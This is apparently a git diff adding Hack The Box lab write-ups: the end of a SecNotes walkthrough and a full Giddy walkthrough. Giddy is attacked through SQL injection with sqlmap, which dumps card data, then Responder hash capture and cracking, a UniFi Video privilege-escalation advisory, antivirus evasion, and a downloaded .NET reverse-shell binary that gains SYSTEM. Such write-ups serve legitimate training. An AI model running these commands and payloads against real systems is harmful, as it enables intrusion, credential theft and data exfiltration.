23:38:47 2020 + PerfLogs D 0 Wed Apr 11 16:38:20 2018 + php7 D 0 Thu Jun 21 08:15:24 2018 + Program Files DR 0 Sun Aug 19 14:56:49 2018 + Program Files (x86) DR 0 Thu Jun 21 18:47:33 2018 + ProgramData DH 0 Sun Aug 19 14:56:49 2018 + Recovery DHS 0 Thu Jun 21 14:52:17 2018 + swapfile.sys AHS 16777216 Fri Mar 20 23:38:47 2020 + System Volume Information DHS 0 Thu Jun 21 14:53:13 2018 + Ubuntu.zip A 201749452 Thu Jun 21 15:07:28 2018 + Users DR 0 Thu Jun 21 15:00:39 2018 + Windows D 0 Sun Aug 19 11:15:49 2018 + + 12978687 blocks of size 4096. 8120303 blocks available + smb: \> cd Users + cd Users + smb: \Users\> cd Administrator + cd Administrator + smb: \Users\Administrator\> cd Desktop + cd Desktop + smb: \Users\Administrator\Desktop\> type root.txt + type root.txt + type: command not found + + +That's not a windows shell! that's just a smb shell, so we need to get the file, exit the smb shell and then print it : + + + smb: \Users\Administrator\Desktop\> get root.txt + get root.txt + getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (3.0 KiloBytes/sec) (average 3.0 KiloBytes/sec) + smb: \Users\Administrator\Desktop\> exit + exit + root@SECNOTES:~# cat root.txt + cat root.txt + 72XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/31_graph.png) + diff --git a/Medium/32.md b/Medium/32.md new file mode 100644 index 0000000..4b51f64 --- /dev/null +++ b/Medium/32.md @@ -0,0 +1,673 @@ +# Giddy Writeup + +![](img/32.png) + +## Introduction : + +Giddy is a Medium windows box released back in September 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [0] nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → nmap -sCV -p443,3389,80 10.10.10.104 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-21 08:30 GMT + Nmap scan report for 10.10.10.104 + Host is up (0.080s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: IIS Windows Server + 443/tcp open ssl/http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: IIS Windows Server + | ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite + | Not valid before: 2018-06-16T21:28:55 + |_Not valid after: 2018-09-14T21:28:55 + |_ssl-date: 2020-03-21T08:30:57+00:00; +15s from scanner time. + | tls-alpn: + | h2 + |_ http/1.1 + 3389/tcp open ms-wbt-server Microsoft Terminal Services + | rdp-ntlm-info: + | Target_Name: GIDDY + | NetBIOS_Domain_Name: GIDDY + | NetBIOS_Computer_Name: GIDDY + | DNS_Domain_Name: Giddy + | DNS_Computer_Name: Giddy + | Product_Version: 10.0.14393 + |_ System_Time: 2020-03-21T08:30:54+00:00 + | ssl-cert: Subject: commonName=Giddy + | Not valid before: 2020-03-20T08:23:27 + |_Not valid after: 2020-09-19T08:23:27 + |_ssl-date: 2020-03-21T08:30:57+00:00; +15s from scanner time. + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 14s, deviation: 0s, median: 14s + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 18.03 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up both ports 80 and 443 so let's investigate them: + +![](prg/32_001.png) + +Both the http and https webpages have the same giddy.jpg image as you can see their md5sum hashes are th same: + +![](prg/32_002.png) + +let's see if there are any steganography involved with this image: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → md5sum giddy.jpg && md5sum giddy.jpg.1 + deb2da26172e73e35db217e7fd018c82 giddy.jpg + deb2da26172e73e35db217e7fd018c82 giddy.jpg.1 + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → file giddy.jpg + giddy.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 736x736, components 3 + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → exiftool giddy.jpg + ExifTool Version Number : 11.91 + File Name : giddy.jpg + Directory : . + File Size : 87 kB + File Modification Date/Time : 2018:06:17 15:21:41+01:00 + File Access Date/Time : 2020:03:21 08:39:29+00:00 + File Inode Change Date/Time : 2020:03:21 08:38:17+00:00 + File Permissions : rw-r--r-- + File Type : JPEG + File Type Extension : jpg + MIME Type : image/jpeg + JFIF Version : 1.01 + Resolution Unit : None + X Resolution : 1 + Y Resolution : 1 + Image Width : 736 + Image Height : 736 + Encoding Process : Progressive DCT, Huffman coding + Bits Per Sample : 8 + Color Components : 3 + Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) + Image Size : 736x736 + Megapixels : 0.542 + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → steghide extract -sf giddy.jpg + Enter passphrase: + steghide: could not extract any data with that passphrase! + + [0] nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → strings giddy.jpg + JFIF + , #&')*) + -0-(0%()( + (((((((((((((((((((((((((((((((((((((((((((((((((( + 58!$@T + [@:i + @D1" + + + +After trying a few basic steganography commands we see can assume that it is a rabbithole, so let's move onto dirbust the website using gobuster: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.104/ -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.104/ + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/03/21 08:45:08 Starting gobuster + =============================================================== + /remote (Status: 302) + /mvc (Status: 301) + Progress: 33026 / 220561 (14.97%)^C + [!] Keyboard interrupt detected, terminating. + [ERROR] 2020/03/21 08:46:27 [!] context canceled + =============================================================== + 2020/03/21 08:46:27 Finished + =============================================================== + + +And here we see 2 interesting directories : /mvc and /remote, so we investigate them : + +![](prg/32_003.png) + +On /mvc we get an inventory page with a list of products and on /remote we get a Windows PowerShell Web Access. + + + http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=34 + + +Clicking on any of the products we get this kind of URL, whose ProductSubCategoryId parameter is vulnerable to SQL injection, since we are able to trigger the following error with this URL: + + + http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=34' + + +` ![](prg/32_004.png) + +Therefore let's use sqlmap to see what we can get from this SQLi vulnerability: + + + [0] nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → sqlmap -u http://10.10.10.104/mvc/Product.aspx\?ProductSubCategoryId\=34 + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.4.3#stable} + |_ -| . [(] | .'| . | + |___|_ [']_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 08:57:31 /2020-03-21/ + + [08:57:32] [INFO] testing connection to the target URL + you have not declared cookie(s), while server wants to set its own ('__AntiXsrfToken=d6eff5822fc...e426b0a4a5'). Do you want to use those [Y/n] y + [08:57:37] [INFO] checking if the target is protected by some kind of WAF/IPS + [08:57:37] [CRITICAL] WAF/IPS identified as 'ASP.NET RequestValidationMode (Microsoft)' + are you sure that you want to continue with further target testing? [Y/n] y + [08:57:40] [WARNING] please consider usage of tamper scripts (option '--tamper') + [08:57:40] [INFO] testing if the target URL content is stable + [08:57:40] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' + how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c + [08:57:50] [INFO] searching for dynamic content + [08:57:50] [INFO] dynamic content marked for removal (1 region) + [08:57:51] [INFO] testing if GET parameter 'ProductSubCategoryId' is dynamic + [08:57:51] [INFO] GET parameter 'ProductSubCategoryId' appears to be dynamic + [08:57:51] [INFO] heuristic (basic) test shows that GET parameter 'ProductSubCategoryId' might be injectable (possible DBMS: 'Microsoft SQL Server') + [08:57:51] [INFO] testing for SQL injection on GET parameter 'ProductSubCategoryId' + it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y + for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] y + + + +It looks like sqlmap recognised that the page had a vulnerable MSSQL as DBMS, so from there we are able to dump the database information: + + + + [0] nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → sqlmap -u http://10.10.10.104/mvc/Product.aspx\?ProductSubCategoryId\=34 --dump + ___ + __H__ + ___ ___[|]_____ ___ ___ {1.4.3#stable} + |_ -| . [)] | .'| . | + |___|_ [,]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 09:00:51 /2020-03-21/ + + [...] + + [09:02:09] [INFO] testing Microsoft SQL Server + [09:02:09] [INFO] confirming Microsoft SQL Server + [09:02:10] [INFO] the back-end DBMS is Microsoft SQL Server + back-end DBMS: Microsoft SQL Server 2016 + [09:02:10] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries + [09:02:10] [INFO] fetching current database + [09:02:10] [INFO] fetching tables for database: Injection + [09:02:10] [INFO] fetching columns for table 'CreditCard' in database 'Injection' + [09:02:10] [INFO] fetching entries for table 'CreditCard' in database 'Injection' + [09:02:45] [WARNING] large output detected. This might take a while + [09:02:50] [WARNING] potential binary fields detected ('ExpYear'). In case of any problems you are advised to rerun table dump with '--fresh-queries --binary-fields="ExpYear"' + Database: Injection + Table: CreditCard + [19118 entries] + +--------------+---------+---------------+----------+----------------+---------------------+ + | CreditCardID | ExpYear | CardType | ExpMonth | CardNumber | ModifiedDate | + +--------------+---------+---------------+----------+----------------+---------------------+ + [09:02:50] [WARNING] console output will be trimmed to last 256 rows due to large table size + | 18965 | \xdbM: | SuperiorCard | 10 | 33336543590725 | 2005-12-29T00:00:00 | + | 18966 | \xdbM9 | SuperiorCard | 3 | 33334535792346 | 2007-08-29T00:00:00 | + | 18967 | \xdbM: | SuperiorCard | 2 | 33333916859579 | 2008-01-23T00:00:00 | + | 18968 | \xdbM9 | Distinguish | 12 | 55556583143582 | 2007-12-21T00:00:00 | + | 18969 | \xdbM9 | Distinguish | 8 | 55555887816801 | 2008-07-06T00:00:00 | + | 18970 | \xdbM: | SuperiorCard | 8 | 33332716107805 | 2008-05-06T00:00:00 | + | 18971 | \xdbM< | SuperiorCard | 6 | 33338514757402 | 2007-08-04T00:00:00 | + | 18972 | \xdbM: | SuperiorCard | 2 | 33336313411053 | 2008-06-28T00:00:00 | + | 18973 | \xdbM; | ColonialVoice | 5 | 77777416785654 | 2008-02-24T00:00:00 | + | 18974 | \xdbM: | ColonialVoice | 12 | 77774932458889 | 2006-08-19T00:00:00 | + | 18975 | \xdbM< | ColonialVoice | 4 | 77774041110024 | 2007-08-28T00:00:00 | + | 18976 | \xdbM9 | Vista | 4 | 11115056300957 | 2007-12-14T00:00:00 | + | 18977 | \xdbM: | SuperiorCard | 6 | 33332231621882 | 2006-10-30T00:00:00 | + | 18978 | \xdbM9 | Distinguish | 2 | 55551498598180 | 2008-04-02T00:00:00 | + | 18979 | \xdbM: | Vista | 2 | 11119400340649 | 2007-06-16T00:00:00 | + | 18980 | \xdbM; | ColonialVoice | 10 | 77771495496508 | 2007-02-08T00:00:00 | + | 18981 | \xdbM9 | ColonialVoice | 2 | 77774255818412 | 2008-04-27T00:00:00 | + + [...] + + | 19232 | \xdbM: | Distinguish | 1 | 55551883899215 | 2007-08-19T00:00:00 | + | 19233 | \xdbM9 | SuperiorCard | 1 | 33335458414079 | 2007-12-03T00:00:00 | + | 19234 | \xdbM; | Vista | 1 | 11114074915665 | 2007-10-31T00:00:00 | + | 19235 | \xdbM: | ColonialVoice | 1 | 77774511327745 | 2007-06-01T00:00:00 | + | 19236 | \xdbM< | Vista | 10 | 11112645284978 | 2008-02-21T00:00:00 | + | 19237 | \xdbM9 | SuperiorCard | 5 | 33336254511031 | 2008-07-21T00:00:00 | + +--------------+---------+---------------+----------+----------------+---------------------+ + + [09:03:00] [INFO] table 'Injection.dbo.CreditCard' dumped to CSV file '/home/nihilist/.sqlmap/output/10.10.10.104/dump/Injection/CreditCard.csv' + [09:03:00] [INFO] fetching columns for table 'Product' in database 'Injection' + [09:03:00] [INFO] fetching entries for table 'Product' in database 'Injection' + + + +Now as you probably guessed, we have access to the entirety of the database, and the results are massive: + +![](prg/32_005.png) + +And our sqlmap scan ends with these results: + + + [09:03:06] [INFO] table 'Injection.dbo.Product' dumped to CSV file '/home/nihilist/.sqlmap/output/10.10.10.104/dump/Injection/Product.csv' + [09:03:06] [INFO] fetching columns for table 'ProductCategory' in database 'Injection' + [09:03:06] [INFO] fetching entries for table 'ProductCategory' in database 'Injection' + Database: Injection + Table: ProductCategory + [4 entries] + +--------------------------------------+-------------------+--------+---------------------+ + | rowguid | ProductCategoryID | Name | ModifiedDate | + +--------------------------------------+-------------------+--------+---------------------+ + | CFBDA25C-DF71-47A7-B81B-64EE161AA37C | 1 | NULL | 2002-06-01T00:00:00 | + | C657828D-D808-4ABA-91A3-AF2CE02300E9 | 2 | NULL | 2002-06-01T00:00:00 | + | 10A7C342-CA82-48D4-8A38-46A2EB089B74 | 3 | NULL | 2002-06-01T00:00:00 | + | 2BE3BE36-D9A2-4EEE-B593-ED895D97C2A6 | 4 | NULL | 2002-06-01T00:00:00 | + +--------------------------------------+-------------------+--------+---------------------+ + + [09:03:06] [INFO] table 'Injection.dbo.ProductCategory' dumped to CSV file '/home/nihilist/.sqlmap/output/10.10.10.104/dump/Injection/ProductCategory.csv' + [09:03:06] [INFO] fetching columns for table 'ProductSubcategory' in database 'Injection' + [09:03:06] [INFO] fetching entries for table 'ProductSubcategory' in database 'Injection' + Database: Injection + Table: ProductSubcategory + [37 entries] + +--------------------------------------+-------------------+----------------------+--------+---------------------+ + | rowguid | ProductCategoryID | ProductSubcategoryID | Name | ModifiedDate | + +--------------------------------------+-------------------+----------------------+--------+---------------------+ + | 2D364ADE-264A-433C-B092-4FCBF3804E01 | 1 | 1 | NULL | 2002-06-01T00:00:00 | + | 000310C0-BCC8-42C4-B0C3-45AE611AF06B | 1 | 2 | NULL | 2002-06-01T00:00:00 | + | 02C5061D-ECDC-4274-B5F1-E91D76BC3F37 | 1 | 3 | NULL | 2002-06-01T00:00:00 | + | 3EF2C725-7135-4C85-9AE6-AE9A3BDD9283 | 2 | 4 | NULL | 2002-06-01T00:00:00 | + | A9E54089-8A1E-4CF5-8646-E3801F685934 | 2 | 5 | NULL | 2002-06-01T00:00:00 | + | D43BA4A3-EF0D-426B-90EB-4BE4547DD30C | 2 | 6 | NULL | 2002-06-01T00:00:00 | + | E93A7231-F16C-4B0F-8C41-C73FDEC62DA0 | 2 | 7 | NULL | 2002-06-01T00:00:00 | + | 4F644521-422B-4F19-974A-E3DF6102567E | 2 | 8 | NULL | 2002-06-01T00:00:00 | + | 1830D70C-AA2A-40C0-A271-5BA86F38F8BF | 2 | 9 | NULL | 2002-06-01T00:00:00 | + | B5F9BA42-B69B-4FDD-B2EC-57FB7B42E3CF | 2 | 10 | NULL | 2002-06-01T00:00:00 | + | 7C782BBE-5A16-495A-AA50-10AFE5A84AF2 | 2 | 11 | NULL | 2002-06-01T00:00:00 | + | 61B21B65-E16A-4BE7-9300-4D8E9DB861BE | 2 | 12 | NULL | 2002-06-01T00:00:00 | + | 6D24AC07-7A84-4849-864A-865A14125BC9 | 2 | 13 | NULL | 2002-06-01T00:00:00 | + | 5515F857-075B-4F9A-87B7-43B4997077B3 | 2 | 14 | NULL | 2002-06-01T00:00:00 | + | 049FFFA3-9D30-46DF-82F7-F20730EC02B3 | 2 | 15 | NULL | 2002-06-01T00:00:00 | + | D2E3F1A8-56C4-4F36-B29D-5659FC0D2789 | 2 | 16 | NULL | 2002-06-01T00:00:00 | + | 43521287-4B0B-438E-B80E-D82D9AD7C9F0 | 2 | 17 | NULL | 2002-06-01T00:00:00 | + | 67B58D2B-5798-4A90-8C6C-5DDACF057171 | 3 | 18 | NULL | 2002-06-01T00:00:00 | + | 430DD6A8-A755-4B23-BB05-52520107DA5F | 3 | 19 | NULL | 2002-06-01T00:00:00 | + | 92D5657B-0032-4E49-BAD5-41A441A70942 | 3 | 20 | NULL | 2002-06-01T00:00:00 | + | 09E91437-BA4F-4B1A-8215-74184FD95DB8 | 3 | 21 | NULL | 2002-06-01T00:00:00 | + | 1A5BA5B3-03C3-457C-B11E-4FA85EDE87DA | 3 | 22 | NULL | 2002-06-01T00:00:00 | + | 701019C3-09FE-4949-8386-C6CE686474E5 | 3 | 23 | NULL | 2002-06-01T00:00:00 | + | 5DEB3E55-9897-4416-B18A-515E970BC2D1 | 3 | 24 | NULL | 2002-06-01T00:00:00 | + | 9AD7FE93-5BA0-4736-B578-FF80A2071297 | 3 | 25 | NULL | 2002-06-01T00:00:00 | + | 4624B5CE-66D6-496B-9201-C053DF3556CC | 4 | 26 | NULL | 2002-06-01T00:00:00 | + | 43B445C8-B820-424E-A1D5-90D81DA0B46F | 4 | 27 | NULL | 2002-06-01T00:00:00 | + | 9B7DFF41-9FA3-4776-8DEF-2C9A48C8B779 | 4 | 28 | NULL | 2002-06-01T00:00:00 | + | 9AD3BCF0-244D-4EC4-A6A0-FB701351C6A3 | 4 | 29 | NULL | 2002-06-01T00:00:00 | + | 1697F8A2-0A08-4883-B7DD-D19117B4E9A7 | 4 | 30 | NULL | 2002-06-01T00:00:00 | + | F5E07A33-C9E0-439C-B5F3-9F25FB65BECC | 4 | 31 | NULL | 2002-06-01T00:00:00 | + | 646A8906-FC87-4267-A443-9C6D791E6693 | 4 | 32 | NULL | 2002-06-01T00:00:00 | + | 954178BA-624F-42DB-95F6-CA035F36D130 | 4 | 33 | NULL | 2002-06-01T00:00:00 | + | 19646983-3FA0-4773-9A0C-F34C49DF9BC8 | 4 | 34 | NULL | 2002-06-01T00:00:00 | + | 3002A5D5-FEC3-464B-BEF3-E0F81D35F431 | 4 | 35 | NULL | 2002-06-01T00:00:00 | + | FE4D46F2-C87C-48C5-A4A1-3F55712D80B1 | 4 | 36 | NULL | 2002-06-01T00:00:00 | + | 3C17C9AE-E906-48B4-BDD3-60E28D47DCDF | 4 | 37 | NULL | 2002-06-01T00:00:00 | + +--------------------------------------+-------------------+----------------------+--------+---------------------+ + + [09:03:06] [INFO] table 'Injection.dbo.ProductSubcategory' dumped to CSV file '/home/nihilist/.sqlmap/output/10.10.10.104/dump/Injection/ProductSubcategory.csv' + [09:03:06] [WARNING] HTTP error codes detected during run: + 500 (Internal Server Error) - 14 times + [09:03:06] [INFO] fetched data logged to text files under '/home/nihilist/.sqlmap/output/10.10.10.104' + + [*] ending @ 09:03:06 /2020-03-21/ + + +So from here we have quite a few info for us to use in order to progress further on the box. Based on the results of sqlmap , it is preety clear that we have control over the database, so we could use sqlmap's --sql-shell to get a shell onto the box, But instead we'll use responder and xpdirtree: + +_Terminal 1:_ + + + [0] nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → sudo responder -I tun0 + [sudo] password for nihilist: + __ + .----.-----.-----.-----.-----.-----.--| |.-----.----. + | _| -__|__ --| _ | _ | | _ || -__| _| + |__| |_____|_____| __|_____|__|__|_____||_____|__| + |__| + + NBT-NS, LLMNR & MDNS Responder 3.0.0.0 + + Author: Laurent Gaffie (laurent.gaffie@gmail.com) + To kill this script hit CTRL-C + + + [+] Poisoners: + LLMNR [ON] + NBT-NS [ON] + DNS/MDNS [ON] + + [+] Servers: + HTTP server [ON] + HTTPS server [ON] + WPAD proxy [OFF] + Auth proxy [OFF] + SMB server [ON] + Kerberos server [ON] + SQL server [ON] + FTP server [ON] + IMAP server [ON] + POP3 server [ON] + SMTP server [ON] + DNS server [ON] + LDAP server [ON] + RDP server [ON] + + [+] HTTP Options: + Always serving EXE [OFF] + Serving EXE [OFF] + Serving HTML [OFF] + Upstream Proxy [OFF] + + [+] Poisoning Options: + Analyze Mode [OFF] + Force WPAD auth [OFF] + Force Basic Auth [OFF] + Force LM downgrade [OFF] + Fingerprint hosts [OFF] + + [+] Generic Options: + Responder NIC [tun0] + Responder IP [10.10.14.24] + Challenge set [random] + Don't Respond To Names ['ISATAP'] + + + + [+] Listening for events... + + + +` ![](prg/32_006.png) + +Now that we have Stacy's NTLMv2-SSP Hash we can crack it using john and rockyou.txt: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → nano stacy.hash + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → john -w /usr/share/wordlists/rockyou.txt stacy.hash + + +And after we let it run for a while we get the password xNnWo6272k7x ! Therefore we can use it to log into the box via the Windows PowerShell Web Access: + +![](prg/32_007.png) + +Once connected, we are logged in as stacy: + +![](prg/32_008.png) + +And we have been able to print out the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc on this box we need to take a look into stacy's Documents folder: + +![](prg/32_009.png) + +And here we see a file called "unifivideo" which is an IP video management surveillance system designed to work with Ubiquiti's UniFi Video Camera product line. If we do a quick searchsploit command to find the public exploits that are available to us, we find this privilege escalation vulnerability: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → searchsploit Ubiquiti unifi + ---------------------------------------- --------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ---------------------------------------- --------------------------------- + Ubiquiti Networks UniFi 3.2.10 - Cross- | exploits/json/webapps/39488.txt + Ubiquiti Networks UniFi Video Default - | exploits/php/webapps/39268.java + Ubiquiti UniFi Video 3.7.3 - Local Priv | exploits/windows/local/43390.txt + ---------------------------------------- --------------------------------- + Shellcodes: No Result + Papers: No Result + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → searchsploit -m exploits/windows/local/43390.txt + Exploit: Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation + URL: https://www.exploit-db.com/exploits/43390 + Path: /usr/share/exploitdb/exploits/windows/local/43390.txt + File Type: UTF-8 Unicode text, with CRLF line terminators + + Copied to: /home/nihilist/_HTB/Giddy/43390.txt + + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → nano 43390.txt + + +So, as the exploit suggests, + + + 5. VULNERABILITY DETAILS + ======================== + Ubiquiti UniFi Video for Windows is installed to "C:\ProgramData\unifi-video\" + by default and is also shipped with a service called "Ubiquiti UniFi Video". Its + executable "avService.exe" is placed in the same directory and also runs under + the NT AUTHORITY/SYSTEM account. + + However the default permissions on the "C:\ProgramData\unifi-video" folder are + inherited from "C:\ProgramData" and are not explicitly overridden, which allows + all users, even unprivileged ones, to append and write files to the application + directory: + + c:\ProgramData>icacls unifi-video + unifi-video NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) + BUILTIN\Administrators:(I)(OI)(CI)(F) + CREATOR OWNER:(I)(OI)(CI)(IO)(F) + BUILTIN\Users:(I)(OI)(CI)(RX) + BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA) + + Upon start and stop of the service, it tries to load and execute the file at + "C:\ProgramData\unifi-video\taskkill.exe". However this file does not exist in + the application directory by default at all. + + By copying an arbitrary "taskkill.exe" to "C:\ProgramData\unifi-video\" as an + unprivileged user, it is therefore possible to escalate privileges and execute + arbitrary code as NT AUTHORITY/SYSTEM. + + +We should be able to start the service "Ubiquiti UniFi Video" , and as it starts it will try to execute a file called "taskkill.exe" in C:\ProgramData\unifi-video\ However the file doesn't exist by default, therefore if we have write permissions in that directory we can place our payload as "taskkill.exe" , and hopefully as we restart the service we would be able to get a reverse shell as NT AUTHORITY/SYSTEM. So let's first generate our payload with msfvenom: + +![](prg/32_010.png) + +So right here we generated our meterpreter_reverse_tcp payload pointing at our port 9001, we have downloaded it onto the box usng the Invoke-WebRequest command, and we have metasploit ready, all that we have to do is stop the service, and start it once again: + +![](prg/32_011.png) + +However we didn't get a meterpreter shell session because there is an antivirus blocking us on this box, The problem is that our payload is probably easily detected by the antivirus, Therefore we need to do some AV Evasion (Antivirus Evasion) which we can do using the [Phantom Evasion framework](): + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → git clone https://github.com/oddcod3/Phantom-Evasion + Cloning into 'Phantom-Evasion'... + remote: Enumerating objects: 64, done. + remote: Counting objects: 100% (64/64), done. + remote: Compressing objects: 100% (39/39), done. + remote: Total 594 (delta 33), reused 43 (delta 25), pack-reused 530 + Receiving objects: 100% (594/594), 346.61 KiB | 637.00 KiB/s, done. + Resolving deltas: 100% (341/341), done. + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Giddy] + → cd Phantom-Evasion + + {Ø} nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ✔ + → ls [2cd0673] + LICENSE Modules phantom-evasion.py README.md Setup + + {Ø} nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ✔ + → python3 phantom-evasion.py --setup + + [...] + + {Ø} nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ✔ + → python3 phantom-evasion.py + + +` ![](prg/32_012.png) + +We'll use 1) windows modules, 1) Windows shellcode injection : + +![](prg/32_013.png) + +Once we have our default options setup, we need to specify the AV Evasion payload encryption, which we'll x go for the Double-key XOR (3) + +![](prg/32_014.png) + +We then select the appropriate options for our payload : + +![](prg/32_015.png) + +Once it's done generating the payload, we repeat our previous steps: + +![](prg/32_016.png) + +Unfortunately that didn't work either, so we'll go for [SecJuice's](https://www.secjuice.com/giddy-write-up-hackthebox) solution which consists of creating a .NET binary working with sockets to get us a root shell: + + + {Ø} nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ? + → curl -sk https://gist.githubusercontent.com/MinatoTW/c540c3c4c3ce494a603fe15601c17646/raw/2d1ece6468abde03fbcd921425cca5f9b9ca11ab/Server.cs > Server.cs + + {Ø} nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ? + → mcs Server.cs -out:taskkill.exe [2cd0673] + + {Ø} nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ? + → python -m SimpleHTTPServer 8080 [2cd0673] + Serving HTTP on 0.0.0.0 port 8080 ... + + +Now we upload our binary like before, and catch the incoming reverse shell connection: + + + PS C:\ProgramData\unifi-video> + + Invoke-WebRequest -o taskkill.exe http://10.10.14.24:8080/xct_is_awesome.exe + + PS C:\ProgramData\unifi-video> + + Invoke-WebRequest -o nc.exe http://10.10.14.24:8080/nc.exe + + Restart-Service -Name "Ubiquiti UniFi Video" + + +:) + + + [0] nihilist [ 10.10.14.24/23 ] [_HTB/Giddy/Phantom-Evasion] at  master ? + → sudo nc -lvnp 9001 [2cd0673] + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9001 + Ncat: Listening on 0.0.0.0:9001 + Ncat: Connection from 10.10.10.104. + Ncat: Connection from 10.10.10.104:50112. + Pwned Giddy! + whoami + nt authority\system + systeminfo + + Host Name: GIDDY + OS Name: Microsoft Windows Server 2016 Standard + OS Version: 10.0.14393 N/A Build 14393 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Administrator + Registered Organization: Administrator + Product ID: 00376-30821-30176-AA316 + Original Install Date: 6/16/2018, 8:56:38 PM + System Boot Time: 3/21/2020, 4:27:53 AM + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: x64-based PC + Processor(s): 2 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC-05:00) Eastern Time (US & Canada) + Total Physical Memory: 2,047 MB + Available Physical Memory: 484 MB + Virtual Memory: Max Size: 2,495 MB + Virtual Memory: Available: 456 MB + Virtual Memory: In Use: 2,039 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: N/A + Hotfix(s): 3 Hotfix(s) Installed. + [01]: KB3192137 + [02]: KB4132216 + [03]: KB4103720 + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) 82574L Gigabit Network Connection + Connection Name: Ethernet0 2 + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.104 + + + +All that we need to do now is to print out the Administrator flag : + + + whoami + nt authority\system + + type C:\Users\Administrator\Desktop\root.txt + 